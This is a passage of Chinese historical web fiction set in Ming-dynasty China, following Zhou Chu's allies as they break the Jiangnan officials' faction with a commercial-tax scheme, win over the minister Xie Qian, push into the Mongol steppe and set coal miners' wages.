杨盛斋并没有说两条路是什么路,但这些被关押的官员一个个都是人精,几乎瞬间就领悟了他的意思。 两条路,一条路是被锦衣卫查办,抄家流放,甚至杀头,另外一条路,则是坚决拥护考成法。 此时他们才明白,这位杨公子,不愧是周衡器的学生,做事的风格都和周衡器如出一辙。 “杨公子,虽然你身份非同一般,但锦衣卫所抓人也要讲究证据吧?你们可不是北镇抚司,如此破坏规矩,皇上知道了,定不会轻饶了你。” 其中一个官员看着杨盛斋那略显稚嫩的脸庞,丝毫不惧道。 杨盛斋听到这话,看了看这个官员,又看向一旁负责刑讯的锦衣卫。 “今天先把审他,把你能用的手段都用上。” 听到这话,负责刑讯的锦衣卫脸色瞬间兴奋了起来。 “大人放心,小人一定让他想死都难。” 那个原本嚣张的官员,脸色肉眼可见的慌了起来,对于锦衣卫的手段,他们这些当官的都有所耳闻。 刑不上大夫,也只是对一般的衙门而言,对锦衣卫而言,根本没有刑不上大夫的说法。 一旦被锦衣卫刑讯,还真就想死都难。 “你敢!本官可是正四品的官职,区区一个苏州府的锦衣卫,也敢动本官?” 那官员色厉内荏道。 杨盛斋听到这话,一脸冷笑。 “如何不敢?告诉你们,本官知道这么做不合规矩,不过本官原本也没想着按规矩做事,事后有何等干系,皇上要杀要剐,本官都悉听尊便,即便是要了本官的项上人头,本官也认了。” 杨盛斋言之凿凿道。 听到杨盛斋这么说,看着杨盛斋那无比笃定的神情,慌的不只是那个正四品的官员了,原本还很淡定的其他官员,再也淡定不起来了。 第264章 严嵩的破局之法,土崩瓦解的江南一系官员 杨盛斋抓的官员在江南一系的官员之中占比并不多,但威慑力是巨大的,江南省的其他官员都在等着这批官员的处理结果。 如果是在一年多以前,锦衣卫别说这么破坏规矩了,即便是按照规矩抓人,他们也不会善罢甘休,但此一时彼一时。 如今江南的情况经过周楚的整治,和一年多以前可大不相同了。 先不说如今整个江南省真正掌握话语权的是严嵩以及那些非江南一系的官员,即便是有些江南一系的官员掌握了一些话语权,也不敢太跳,像之前围攻锦衣卫所,甚至大狱的事,他们是做不出来的。 江南一系的官员说团结很团结,说不团结也不团结,一旦涉及到个人利益,个人的得失,每个人都得衡量一下其中的利弊。 谁也不想因为这些事把自己装进去,做任何事之前,他们首先要考虑的是自保,而不是为了其他人的利益而舍生忘死。 如果是以前,江南一系在江南省可以一手遮天,他们做事可以无所顾忌,甚至舍生忘死,因为他们清楚无论他们做出多么离谱的事,事后都会有人来捞他们。 但此时的江南派系,本身的实力就不太行了,特别是出海走私的利益基本没了之后,人心就散了,因利而聚,自然会因利而散。 只是很多人之前做的事,想让他们彻底从中抽身倒也不现实,所以他们还是要站在这个派系之中,但如果让他们出力,他们首先要考虑的是自己的安危,毕竟没人能为他们兜底了。 被抓的那些官员如何处置尚且没有定论,严嵩却公布了另外一项决策,加收商业税,商业税由原本的三十税一增加到十税一,并且商业税的收取也是计入考成法的考核标准的,这个消息一出,所有官员瞬间哗然。 “严大人怕不是痴人说梦吧?三十税一想收上来都难如登天,还想十税一,这不是与民争利吗?” 一个江南一系的官员在严嵩刚刚宣布这个决策的时候,直接站了出来,丝毫没给严嵩面子道。 严嵩听到这话,看向了这个官员,严嵩在苏州府这一年多的时间,再加上之前在京城的为官经验,让他早已今非昔比。 此时的严嵩一言一行之间,自带气度,他只是看着这个官员,什么都没说,却让所有人都觉得有些窒息,更不用说直面严嵩的那个官员了。 “严....严大人,下官说的有哪里不对吗?” 那个官员自然不愿意就此认输,只能硬着头皮道。 “对与不对本官暂且不说,本官的决策还未说完,你就如此急着站出来反驳上官的话,是谁给你的胆子?” 严嵩说这话的时候,眼神之中泛着寒光,如同瞄准了猎户的猛虎,虽然安静,却让此人愈发胆颤。 “我.....我....” 此人被严嵩这么一质问,原本好不容易鼓起的勇气瞬间消散的无影无踪,一时之间不知该如何接话。 严嵩看他这般模样,满脸的不屑,再也不去理会此人,而是看向其他人。 “本官还未说完,以后的商稅,虽然是十税一,但无论是谁收上来的,只要合法合理,不贪不多,收上来的商稅的份额,拿出原本的三十税一的部分,奖励给该官员,换句话说,无论大家收上来多少商稅,都会拿出三成奖励给你们,剩下的七成才是朝廷的,这么一看,还多吗?” 严嵩不疾不徐道。 一听到这话,原本还准备质疑的其他官员眼神都变了,很多官员眼睛都红了,喘息之声也变粗了。 如果一个官员收上来一百万两的商业税,那就意味着他可以拿到三十万两,这钱可都是合理合法的,这不比以前他们贪污,搜刮民脂民膏强上百倍? 当然,一个官员收上来一百万两的商业税这种事,几乎不太可能发生,这么大体量的商人,就算要收,也是很多官员一起。 即便如此,每个官员也可以分很多,而且整个江南省的商人多有钱,没人比他们更清楚了。 单单是以前那个江南商会的副会长,每年赚取的利润都在四五百万两以上,甚至多的时候可以近千万两。 单单这样的商人,整个江南省,就有四五个,低一级的更是不知凡几。 这些商人的收入加起来就是个天文数字,他们这些当官的即便是只能分到三十之一,那也是个很恐怖的数字。 最重要的是,合理合法! 一想到这里,所有人的心头瞬间变得火热,恨不得立刻回去整理卷宗,立刻去收商稅,生怕晚了一步就会被同僚抢先。 原本那些还想着质疑严嵩,甚至和严嵩对着干的官员,此时也没了这个心思,此时他们的脑子里除了钱再也装不下其他东西了。 至于江南一系的利益?去他娘的利益,江南一系还有什么利益,走私都走不了了,无非是在海上贸易抱团一些,赚的钱很有限,和其他海商比起来没什么太大的优势。 与其如此,倒不如下下功夫收商稅赚的也不少,而且稳妥。 原本就因为利益大大降低而凝聚力降低到了冰点的江南一系的官员,此时直接分崩离析了,大家都明白,即便自己还站在江南一系,其他官员为了自身的利益,也会和他们对着干。 既然如此,晚下手不如早下手,等到那些商稅都被收完了,可就追悔莫及了。 “严大人说的是,这商稅就该十税一,不,应该说十税一还是太少了,十稅二都不多。” 一个原本隶属于江南一系的官员,此时直接跳反,看着严嵩,满脸恭维。 严嵩听到这话,内心感到无比满足,对严嵩而言,那些原本属于自己阵营的官员对自己的恭维倒是可有可无,反倒是原本这些和自己尿不到一壶之中的官员不得不对自己谄媚,会让严嵩飘飘欲仙。 权力可真是个好东西啊,严嵩内心忍不住感慨道。 此时的严嵩对周楚愈发敬佩,原本他想不到的破局之法,或者说因为权限不够而不敢做的破局之法,被周大人轻松解决了。 这个官员对自己的态度就说明了一切。 有人带了头,原本那些还有些羞于与严嵩为伍的官员倒也没有那么强的羞耻感了。 人就是如此,倘若大家都不好意思,都会觉得很羞耻,一旦有人带头,大家就都找到了安慰自己的理由,于是倒戈之人就会越来越多。 “是啊严大人,当初太祖制定三十税一的商稅,不过是为了与民休养生息,这么多年过去了,早就该多收一些了,十税一确实不多。” 另外一个官员附和道。 于是接下来大家纷纷开始拍起了严嵩的马屁,即便有少数还站在江南一系的官员,看到这一幕,也明白大势已去,一种无力感油然而生。 第265章 海瑞研究蒸汽机,嘉靖:策反谢迁? “老师,这个蒸汽机是什么?” 海瑞翻看着周楚给他的一本书,看到其中关于蒸汽机的猜想,很是感兴趣,但这本书上,周楚也只是写了对蒸汽机的大致猜想,具体细节周楚也不清楚。 听到海瑞这么问,周楚顿时来了兴致。 “平时烧水的水壶,一旦水开了,里面的水汽就会把壶盖顶起来,这是一股不小的力量吧?” 周楚看着海瑞满脸求知的表情,笑道。 海瑞听到这话,若有所思地点了点头。 “倘若把这个水壶加大十倍百倍呢?这其中的水烧开之后产生的水汽又会产生多大的力量呢?” 周楚循循善诱道。 海瑞听到这里,眼睛顿时亮了。 “老师的意思是,造一个将这些水汽的力量利用起来的机器?” 海瑞看着周楚,似乎在求证,又像是在求知。 周楚听到这话,点了点头,一副孺子可教的表情。 “那该如何利用呢?” 海瑞忍不住问道。 周楚听到这话,摇了摇头。 “这也只是我的一个猜想,至于如何利用,你若是有兴趣的话,可以研究一下。” 周楚哪里知道蒸汽机如何制作,只能诱导海瑞去研究,以海瑞对格物学的天分和热衷程度,以及那份执拗的性格,周楚相信他一定能把蒸汽机搓出来。 一旦有了蒸汽机,那么很多东西就都可以提上日程了,比如火车,这些东西以现在大明的钢铁产量,都是可以做到的。 “当然,格物学的研究不适合闭门造车,你也可以和其他人一起研究。” 周楚看着海瑞道。 格物学院之中,除了海瑞,还有好几个天份很高的,杨盛斋就是其中之一,等到杨盛斋处理完江南的这些事之后,周楚准备让他也加入蒸汽机的研究。 “学生明白,这个蒸汽机如果能做出来,用处恐怕会很大。” 海瑞越想越觉得兴奋,恨不得立刻前去研究。 “去吧。” 周楚看着海瑞这副表情,就知道他在想什么,摆了摆手道。 海瑞听到这话,向周楚行了个学生礼,随后满脸兴奋地转身离去。 京城之中,谢迁和毛纪以及夏言等人得知江南的情况,很是着急,特别是毛纪和夏言,对他们而言,江南可是他们的基本盘,倘若江南有失,将来他们在朝堂上的话语权会大打折扣。 特别是夏言,他如今还算年轻,才四十出头,于他而言,政治生命才刚开始,倘若江南一系出了问题,那么他的政治生命基本就没了大半。 这是夏言无论如何都不能接受的。 倒是谢迁,其实一点都不着急,谢迁多少有点身在曹营心在汉的感觉,他再次入京,说白了都是在为自己的儿子谢丕铺路罢了。 但对谢迁而言,江南一系绝不是他儿子谢丕的唯一出路,甚至以江南一系目前的处境,对谢丕而言都不算是一个很好的出路。 他谢迁一辈子都是江南一系的人,身上早已被打上了标签,但谢丕可不是,就像杨廷和是江南一系的代表,但杨慎却不是一样。 谢迁此时已经在考虑,要不要给自己的儿子换一条出路,比如暗中帮助周衡器和皇帝做事? “我的谢大人,都火烧眉毛了,您老怎么还这么淡定?” 毛纪看到谢迁这副老神在在的模样,就感觉很是窝火,自从谢迁入京以来,似乎没为他们江南一系出多少力。 “毛大人说的哪里话?着急有什么用?正所谓泰山崩于前而面不改色,才能成大事。” 谢迁一边调侃着毛纪,一边喝茶道。 毛纪一听这话,顿时感觉脑门子直突突,正要发火,却被夏言暗中阻止了。 夏言很清楚,以谢迁的这个年纪,能再次入阁已经不错了,都到了这个年纪了,谁也不想去拼命,人之常情罢了,没必要强求。 “谢大人说得对,着急也没用,有话好好说。” 夏言开口道。 毛纪听到这话,喝了口茶,但胸口一直憋着一口气,却也不好发作。 “严嵩这个政策,不像是出自他手,他没有这么大的魄力。” 谢迁眼看着毛纪平静了下来,说出了自己的看法。 夏言听到这话,点了点头。 “那严惟中确实没这么大的魄力,商稅多少年没人敢动了,他严惟中都四十多岁了,不会像年轻人那般锐意精进了,想来这个政令应该是出自陛下或者周楚之手。” 夏言说道。 “我倒是觉着像是陛下的手笔,周衡器现在还在那劳什子山村之中,人都不敢出来,不像是有这个胆量的人。” 毛纪想了想,说道。 “重点不是出于陛下还是周楚,而是这个政令的后手,堪称阳谋,这里面涉及到太多人的利益,那些官员现在一个个恨不得抢着收商稅呢,现在你我说话那是一点用都没有了。” 夏言满脸忧愁道。 “自古以来,阳谋最难解,阳谋之所以难解,是因为使用阳谋之人掌握了绝对的话语权和实力,比如汉武帝实行推恩令,之所以能成功,完全是因为汉武帝大权在握。” 谢迁无奈道。 谢迁的话,说到了毛纪和夏言的心坎里,此时他们面对严嵩在江南的做法,内心涌出一股无力感,完全不知道该如何着手。 如果是以前,他们可以利用叛乱,或者其他途径解决,因为那时候皇帝和朝廷在江南其实是没什么话语权的。 但现在不同了,现在的皇帝和朝廷对江南的统治力强到了一定的程度,即便是夏言和毛纪在江南的话语权都远远不如严嵩这个帝党。 这样的情况下,面对这条阳谋一般的商稅增收策略,毛纪和夏言束手无策。 与此同时,皇宫之中,嘉靖收到了周楚和严嵩的奏疏,两人的奏疏都是关于考成法和商稅增收的,关于商稅的增收问题,周楚早在之前的几封奏疏之中跟嘉靖说的很清楚了。 嘉靖也早已给了周楚答复:放手去做。 此时嘉靖看到严嵩的奏疏,看到严嵩用周楚给出的策略将江南一系官员的根基瓦解之后,无比高兴,如此一来,整个江南省的税收将会大幅度增加。 要知道以前在江南省,商稅都是名存实亡的,基本收不上来,如今这些官员一个个抢着收,届时商稅都收上来之后,整个江南省的财政收入不知道能到多少。 而且嘉靖很清楚,这才只是开始,后面商稅增加到十稅二的时候,想来这些官员也不会反对,毕竟他们可都是尝到了实实在在的甜头。 看完严嵩的奏疏,嘉靖开始仔细考虑周楚奏疏之中的一个主意。 策反谢迁? 一想到这个可能,嘉靖就很是兴奋。 第266章 晋王的反应,林鹿征服草原 草原上,俺答率领着为数不多的族人不断迁徙,为的就是不被林鹿率领的虎贲军找到。 自林鹿镇守大同以来,率领虎贲军开始在草原上不断地清除蒙古部落,有大同城内的那些商人带路,虽说不能找到所有蒙古人所在,但也能找到一半左右。 虎贲军虽然人数不多,但兵贵神速,攻其所不备,很多蒙古人正在睡梦之中,突然发现蒙古包外已经是火光冲天了。 随着一些蒙古部落的不断陷落,大明的版图也在不断地扩张,原本大明对蒙古人宣战还需要找借口,但有了之前俺答率众攻打大同,大明就有了足够的出兵理由。 蒙古人之中像俺答这种属于鹰派,其他的则是鸽派,蒙古人之中,鹰派和鸽派的多少,取决于大明和蒙古人的实力对比,大明越强,蒙古人的鸽派就越多,反之,蒙古人的鹰派则会越多。 这些年蒙古人的实力经过大明的不断削弱,其实已经很弱了,如果不是大同守将毫无作为的话,俺答率领一个部落是不可能突破大同的防线的。 说白了,俺答攻打大同,就是想让蒙古人看到打大明能获得的好处,同时也是为其他蒙古人树立信心,倘若此战成了,蒙古人之中的鹰派会变得越来越多,俺答将来成为大汗也只是时间问题了。 但俺答失败了,不只是失败了,还引来了明军,原本蒙古人是不担心明军的,因为明军的战马远不如蒙古人的战马,在草原上长途奔袭不可能是蒙古人的对手。 更何况蒙古人逐水草而居,居无定所,想要在茫茫草原上准确找到蒙古人的大部队,难如登天。 所以蒙古人对大明一直都充满了侵略性,对他们而言,攻打大明,哪怕失败了,大明对他们也造不成什么太大的威胁。 当初的永乐帝朱棣,多次北征,都没能彻底荡平蒙古人,最后一次更是连蒙古人在哪都没找到,这就是蒙古人的优势。 只是蒙古人怎么都没想到,这一次的明军,不只是来去如风,而且总能准确地找到他们部落所在的位置。 这一下蒙古人慌了,他们得到俺答的消息,似乎是那些大明和他们做交易的商人出卖了他们,蒙古人得到这个消息之后,顿时勃然大怒,再次见到来自大明的商人,二话不说直接就地斩杀。 生怕这些商人会引来明军。 这让其他的晋商受到了无妄之灾,毕竟来自大同的商人还是一小部分,山西的其他商人和蒙古人做生意的不在少数。 不过无论是林鹿,还是当初制定这个计划的周楚,都不在乎这些,既然勾结蒙古人,那么被蒙古人杀死,也合情合理。 如此一来,损失最惨重的就是太原的那些晋商,他们之前要挤兑皇家钱庄,在皇家钱庄存了大量白银,想要用通兑的方式让皇家钱庄信用破产。 结果却是偷鸡不成蚀把米,各地的白银还没有运回来,就被抢了大半,这其中有各地的锦衣卫扮成马匪抢的,也有被当地的百姓和土匪联合抢的。 当地的土匪和百姓之所以能够成功,完全是因为晋商运银的车队的路线和下落,一直都有人往外通报,至于通报之人是谁,这些晋商都不用想都知道是谁。 他们这次得罪的谁,谁就要搞他们。 毕竟是皇家钱庄,想动皇家钱庄,虽然手段不违反大明律,但皇帝如果想搞他们,方法多的是,特别是皇帝手下现在多了一个锦衣卫指挥使周楚。 此人诡计多端,完全不按套路出牌。 本来损失这么多白银已经让这些晋商心疼不已了,草原上不断传来的噩耗更是让他们头脑发昏。 这段时间,这些晋商可谓是事事不顺,损失惨重。 他们却不知道,周楚正在给他们准备一个更大的礼。 晋王府之中,晋王朱之烊看着自己的儿子前两天让人送来的信,一直犹豫不定,拿不定主意。 这封信刚送来的时候,朱之烊下意识的想要拒绝周楚,让自己的儿子朱奇源直接回来。 但信中说了,周楚发现了一个新的煤矿,足够大明开采百年,这意味着什么,朱之烊很清楚,意味着山西的煤矿将不得不大降价,如此一来,整个山西靠煤矿赚钱的商人,都会伤筋动骨。 甚至山西的煤炭因此会失去大部分销路。 朱之烊很清楚这其中的利益牵扯。 让他和周楚合作,他又不甘心,这其中先不说他看不惯周楚这个锦衣卫指挥使的原因,更深层次的原因还是利益不够。 在朱之烊看来,即便将来山西煤矿的价格和销路大打折扣,太原这些煤矿商人该给自己的分润也比和周楚合作的分成要高很多。 毕竟按照自己儿子在信里写的,和这位锦衣卫指挥使合伙的藩王就有三四十个,如此一来,每人能分到的那就很少了。 之所以难以下决心,无非还是立场和利益之间的冲突,利益让他想站在太原这些商人这边,但立场上,他又是个藩王,不过他的立场一向都很不坚定,否则也不会和这些商人牵扯过深了。 像大同的代王朱俊杖,就很清楚自己的立场,从来不会和大同的那些商人来往过深。 这也是为何很多藩王瞧不起晋王府的原因,历代晋王大多都很荒唐只是一方面的原因,另外一方面则是他们都很清楚,晋王府和这些商人之间不清不楚,对大明造成了不小的危害。 最终,朱之烊还是向利益做出了妥协,准备彻底倒向晋商,于是他让人将太原那些商人的代表叫到了晋王府。 “大王,您叫我们所为何事?” 为首的晋商有些恭维地看着朱之烊道。 如非必要,他们是不想和晋王府走向对立面的,毕竟现在的晋商焦头烂额,能多一个朋友总比多一个敌人要好。 “陛下让所有藩王都派人去找锦衣卫指挥使周楚,那周楚在徐州府发现了一处煤矿,足够大明开采百年。” 朱之烊既然想通了,就不会有所隐瞒,他很清楚,只有提供足够的信息,才能获取足够的利益。 “什么!” 晋王府之中的商人听到这个消息,全都坐不住了。 林鹿率领着虎贲军,一路推进,他攻打蒙古部落并不是漫无目的的,也不是东一下西一下的,而是根据大同的位置,不断地向外推进,将草原逐步纳入大明的版图之内。 之前大明之所以不想统治草原,或者说之前的很多朝代都很难对草原形成有效的统治,归根结底是因为草原太大,如果要统治的话,需要付出的人力财力太大。 而草原又没有耕地,对每个王朝而言,产出的利益几近于无,如此一来,长期统治草原的话,对任何一个中原王朝都不是一个划算的买卖。 对于这个问题,周楚也早就给出了解决的策略。 珍妮纺纱机的图纸周楚早就画了出来,之所以没有制作,无非是因为只有蚕丝的话,大明的原材料是跟不上的,倘若珍妮纺纱机过早面世,只会让大量织工失业,而且原材料远远不够。 但有了草原就不一样了,草原可是养羊的天然牧场,在草原上大量放养绵羊,对大明而言,无疑是一个很大的财政收入,到时候绵羊制品,再通过海上出口到东瀛甚至西方,攫取巨大的利润。 现如今对草原制品对大明而言最大的成本是运输成本,毕竟还没有火车,要把羊毛制品运输到大明,甚至海上,需要的运输成本会很高。 不过这都不是问题,只要有足够的利润,很多商人都会像闻到血腥味的鲨鱼一般,涌入草原之中。 第267章 嘉靖对谢迁的招揽,感动的谢迁 “陛下,您叫臣来,有什么吩咐?” 谢迁来到御书房,看着眼前的嘉靖,不禁感慨,自古英雄出少年。 古有汉文帝只身前往长安,今有如今的陛下,以十四岁的年纪登基之后迅速掌权。 这其中固然有锦衣卫指挥使周楚的功劳,但周楚锦衣卫指挥使的职务可是眼前的这位任命的。 刚登基的情况下,这位就能慧眼识珠,直接将一个从未入过仕途的年轻人任命为锦衣卫指挥使,这是多大的魄力,这是多么厉害的识人手段。 还有之前夏言杨一清等人对周楚的捧杀,谢迁即便身在余姚,也是有所耳闻的。 当时知道这件事的谢迁,都忍不住感慨,杨一清等人的手段不可谓不狠辣,原本谢迁都以为这次周楚这位锦衣卫指挥使做到头了。 但他没想到皇帝却是用了另外一种方式,帮周楚巧妙地化解了这场捧杀,让杨一清和夏言等人哑巴吃黄连,只能捏着鼻子认了。 眼前的这位皇帝,眼界、格局甚至对周楚这位锦衣卫指挥使的信任程度,都绝不是一般皇帝能比的。 “谢阁老,朕叫你来,是想问问阁老的想法,这吏部左侍郎的位置现在刚好空了下来,朕觉得汝湖的能力是够的,让他补上这个缺,阁老以为如何?” 嘉靖看着谢迁,笑道。 汝湖正是谢迁的儿子谢丕的号,谢丕字以中,号汝湖。 谢迁听到这话,心头一震,很是惊喜,原本他就想着要不要给自己的儿子换一条后路,只是苦于和如今的皇帝实在是没什么交集,也不好贸然到皇宫求见,如今嘉靖却是主动向他伸来了橄榄枝,这让谢迁很是高兴。 “以中才疏学浅,承蒙陛下看重,倘若能当此重任,臣一定时刻督促他。” 谢迁并没有推脱和客气,他很清楚,此时他任何一句推脱和客气的话,都是在拒绝皇帝对自己和儿子的招揽。 那样无异于将自己儿子谢丕的前途给断了。 谢迁的话说的很巧妙,该有的谦逊都有,却也没有拒绝嘉靖的提议,直接帮谢丕应下了吏部左侍郎,一旦进入六部,才算是真正进入大明的权力中枢,未来的仕途才算是不可限量。 嘉靖听到这话,满意地点了点头,谢迁既然这么说了,那就意味着这位七十多岁的内阁成员彻底倒向自己了。 这也是人之常情,毕竟如今的江南一系随着严嵩的一系列举措,从根基上就分崩离析了,毛纪和夏言这些个江南一系的代表肯定是不甘心的,毕竟他们二人能否在官场上再进一步,完全取决于背后江南一系是否强大。 但谢迁却不会,他早已对自己的升官发财没了什么念想,如今七十多的谢迁,早在致仕之前,该享受的早就享受过了。 说句难听的,以谢迁如今的年纪,还能活多久都是个问题,他现在唯一在乎的只有自己儿子谢丕的仕途,因为谢丕的仕途意代表着谢家的未来。 以江南一系如今的情况,很显然已经不适合谢丕了,如果是谢迁本人,或者说谢迁再年轻个二十岁,他都不会如此。 就像毛纪和夏言,一旦打上了江南一系的标签,想要摆脱,难如登天,所以他们必须一条道走到黑。 但谢迁不同,他身上江南一系的标签,早已随着他第一次致仕的时候,就已经可有可无了,谢丕身上更是没有任何表现,所以当嘉靖说出这话的时候,谢迁几乎没怎么考虑就应承了下来。 “朕本来想着先把汝湖提拔为太常寺少卿的,但想了想,以汝湖的才能,在翰林院这么多年了,仅仅是一个太常寺少卿未免太过屈才了,去吏部历练历练,倘若能实心任事,将来再往上走一走也是可以的。” 嘉靖给谢迁画饼道。 吏部左侍郎本身就是正三品的官职,而且是六部的实权官职,太常寺少卿不过是正四品,两者之间的差距不可谓不大。 嘉靖这么说,其实就是在表示自己对眼前这位阁老的看重。 谢迁自然也明白嘉靖的意思。 “陛下对臣,对犬子恩重如山,但有吩咐,臣无所不从。” 谢迁直接行礼道。 “阁老不必多礼,阁老这么大的年纪了,这些来自安南的补品,阁老拿回去一些,把身子将养好,朕还需要阁老,大明也需要阁老。” 嘉靖说着看向了一旁的黄锦,黄锦直接拿出一个盒子,里面装满了各种各样的补品,谢迁双手颤颤巍巍地接了过来,满脸感动。 “陛下恩深似海,臣真是无以为报,愿为陛下肝脑涂地。” 谢迁说着又要行礼,被嘉靖起身扶住了。 “都说了不必多礼,阁老何故如此?” 嘉靖看着谢迁,谢迁看着嘉靖,君臣二人相视一笑。 张家村之中,楚璃来到周楚面前。 “大人,晋王嫡子朱奇源已经离开了绍兴。” 楚璃看着周楚,汇报道。 周楚听到这话,丝毫不觉得意外,以晋王的位置,心中如果没什么家国情怀的话,多半会考虑利益最大的做法,那就是继续和那些晋商勾结。 既然如此,周楚倒也不必再顾虑晋王府了,当然,晋王府不是周楚一个锦衣卫指挥使能处理的,还得交给皇帝处理。 对于各地藩王,皇帝有着绝对的处置权,除非这些藩王想造反,毕竟大明的藩王可不是汉朝的藩王,这些藩王一没兵权,二没有货币铸造权,没有钱和兵,权利来源几乎全部来自皇帝。 就像前任代王,朱俊杖的爹,皇帝一句话就把他贬为庶人了,整个代王府甚至都不敢替他求情,也只能替朱俊杖求情,让朱俊杖袭爵。 晋王府虽然和这些晋商勾结的比较深,但即便再深,他也仍然是晋王,这些商人手中也没有兵权,如何处置晋王朱之烊,也只是嘉靖一句话的事。 “既然晋王府退出了,那你就和其他的那些世子郡主集议一下关于煤矿将来的开采问题吧。” 周楚看着楚璃道。 楚璃听到这话,点了点头。 第268章 朱显榕的改变,周楚的特质 张家村之中,朱思莹每次农忙结束,都要想方设法往周楚身边凑。 不只是朱思莹,其他那些郡主世子,包括朱显榕,找着机会也会想办法往周楚身边凑,毕竟他们来张家村,就是为了和周楚搞好关系。 区别在于,朱显榕等人是为了藩王府的将来,要和锦衣卫指挥使周楚,这位权势滔天的年轻人搞好关系。 而朱思莹等一些郡主,则是为了自己,像朱思莹这样的看过不少关于周楚的话本的,又在大同见识过周楚大杀四方的,对周楚更是无比崇拜,她们接近周楚,既为了藩王府,也为了自己。 对于这些世子郡主的行为,周楚已经习以为常。 当他们得知跟在周楚身边的楚璃居然就是这一年多以来名满天下的传奇女商人的时候,一个个都无比震惊。 其他人和朱显榕不同,朱显榕早早地就接管了楚王府的生意,所以认识楚璃,其他人虽然不认识楚璃,但对于黎星若这个名字,都是有所耳闻的。 毕竟整个大明无数商人,都想从这位女商人手上拿到白糖和玻璃器的经销权,黎星若这个名字,自然也就被各地的商人传遍了整个大明。 甚至民间还出现了不少关于黎星若的话本,虽说大多数都是脱离事实,瞎编的,但这不妨碍这些世子和郡主对楚璃的好奇,甚至是有些崇拜。 如果说眼前这些人最崇拜的,无疑是周楚,周楚作为锦衣卫指挥使,起于微末,一步登天,身份并不比他们这些世子和郡主差,甚至权力上,要强了不知道多少,如今的周楚,在整个大明说一句说一不二也不为过。 想要被这些出身高贵的世子和郡主崇拜并不容易,一般人即便是有再多的钱,也未必能入得了他们的眼,毕竟他们的身份让他们可以看不上绝大多数人。 即便是楚璃,她的化名黎星若在大明的流传度如此之高,这些世子和郡主对她大多数也只是好奇,要说崇拜,大多数都没有这种情绪。 毕竟如今楚璃的身份不过是一介商人,商人即便赚再多钱,在身份上和他们还是天差地别的。 但这不妨碍他们之中大部分人对楚璃有敬佩之情,特别是周楚说让楚璃主持关于煤矿的事宜的时候,所有人都没有意见。 除了张家村的这些世子郡主,在绍兴城内,董府之中的那些世子和郡主们,也都得到了周楚的通知,来到了张家村,开启了关于煤矿份额的第一次会议。 商业上的事,楚璃早已信手拈来,这么久的经商,每天都要见无数商人,楚璃早已不再是当初那个涉世未深的京城楚家大小姐,而是一个无比干练的女强人。 “诸位,关于煤矿的开采,周大人应该和诸位说了,由周大人和陛下负责,诸位只需要负责拿利润分成即可,诸位若是对煤矿的账目有疑义,每年可以派人去查一次账。” 楚璃按照周楚的交代,侃侃而谈道。 言语之间有着强大的自信和气场,这种气场是这些涉世未深的世子和郡主很少见到的,这使得他们对楚璃的话下意识地信服。 “周大人让我和诸位商议,主要是关于煤矿工人的工钱问题,以及吃的住的这些方面的问题。” 楚璃眼看着众人没有任何异议,开始进入了正题。 “煤矿工人的工钱,每人每天五百文钱起步,根据煤矿工人的表现,会有所增长,这个工钱是市面上其他煤矿工人的两倍,诸位如果有异议,可以提出。” 楚璃说完这话,停了下来,等着其他人的意见反馈。 所有工人之中,煤矿工人的工钱是很高的,每天基本都在二百到三百文之间,毕竟煤矿是暴利行业,这个年代开采煤矿本就是高危职业。 当然,这个工钱都是明面上的,实际上很多晋商为了节省成本,大量使用黑工,工钱是一点没有的,能够吃饱饭就相当不错了。 当初周楚等人刚进大同城的时候,就遇到王家的恶奴在抓捕逃跑的黑工。 对于那些晋商而言,每一个黑工都能为他们省下很多钱,煤矿又是一个需要大量用人的产业,最大的成本就是人工成本。 周楚对于将来下矿的工人的工钱,也只是提高到了同等煤矿工人的两倍左右,重点不在于工钱的多少,而在于要把这些钱实实在在的发到工人手上。 这才是最重要的,一旦钱太多了,中间难免会有人忍不住上下其手,欺上瞒下。 “这个没必要吧,煤矿工人的工钱本身就很高,只要能保证发放到位不就行了。” 一个世子忍不住说道。 “是啊,只要能确保把这些钱发到他们手上,这些煤矿工人养家是不成问题的。” 另一个世子附和道。 他们之中,有的在张家村好多天了,有的则在绍兴城内享乐,但无论如何,他们之中不少人算是看出来了,周楚这位锦衣卫指挥使,对底层百姓看的格外的重。 他们说这话的时候,自然也要从这些工人的角度出发,试图说服楚璃,毕竟这可是涉及到他们的切身利益,发给工人的多了,他们的利润就少了。 “我倒是觉得不高,这些煤矿工人下矿本身就很危险,一旦发生矿难,他们的一家老小就失去了赚钱的男人,而且煤矿之中,有很多粉尘,即便是没有矿难,很多煤矿工人的身体也很容易出问题,这个价格,很合适。” 说这话的是朱显榕,这些天他在张家村每日劳作,彻底体会到了底层百姓的艰辛,他从未想过,底层百姓过的居然如此艰苦。 他原本的生活中弃之如履的东西,对这些人而言都是极其珍贵的,一餐一饭,都来之不易。 这几日的生活,让朱显榕开始审视起了以往的自己,他发现以前的自己真是少年不识愁滋味,为赋新词强说愁。 只有真正面对这些底层百姓的生活,朱显榕才知道以前的自己是多么的矫情,自己的那些兄弟姐妹们是多么的矫揉造作。 朱显榕这些天想了很多,想到了历朝历代的统治者,在他们眼中,这些真正的底层百姓,似乎从来都不是百姓,在王朝统治者眼里,那些地主和士绅阶层才是他们的百姓。 真正能看到底层百姓困苦的,除了大明的开国皇帝洪武皇帝之外,朱显榕知道的就只有周楚周大人了。 也正是因为这些,朱显榕对周楚愈发敬佩,如果说以前是敬佩的话,那么现在更多的是崇拜,他甚至想像胡宗宪等人一般,跟在周楚身边学习。 这种想法是发自内心的,他在周楚身上看到了很多东西,除了原本属于周楚的那些光环之外,还有很多朱显榕说不清道不明的特质,这种特质,让他和胡宗宪那些学子都忍不住想要跟在周楚身边。 “没错,这个价格并不高,这些煤矿工人每个人背后都有他们的家人要养活,煤矿工人的工钱和其他工人比虽然高了些,但他们要面临极大的危险。” 朱思莹也站出来道。 朱思莹说完这话之后,又有几个郡主站了出来附和她的话,其中就包括沐王府的郡主沐云萍。 当然,也有不少人反对,一时之间,众人陷入了争论之中。 楚璃眼看着众人争论的愈发激烈,拍了拍手,示意众人安静。 “诸位,关于煤矿工人的工钱问题,周大人的意思是没得商量,诸位若是觉得接受不了,可以将你们的钱如数退还。” 第269章 王直和林廌,周楚对草原的谋划 楚璃此话一出,原本还有意见的那些世子们顿时闭嘴了。 此时他们才想起来,这个煤矿生意,周楚和皇室原本可以自己干的,拉上他们一起,不过是为了分润给他们利益罢了,似乎周楚完全没有和他们商议的必要。 话语权完全掌握在这位锦衣卫指挥使手中。 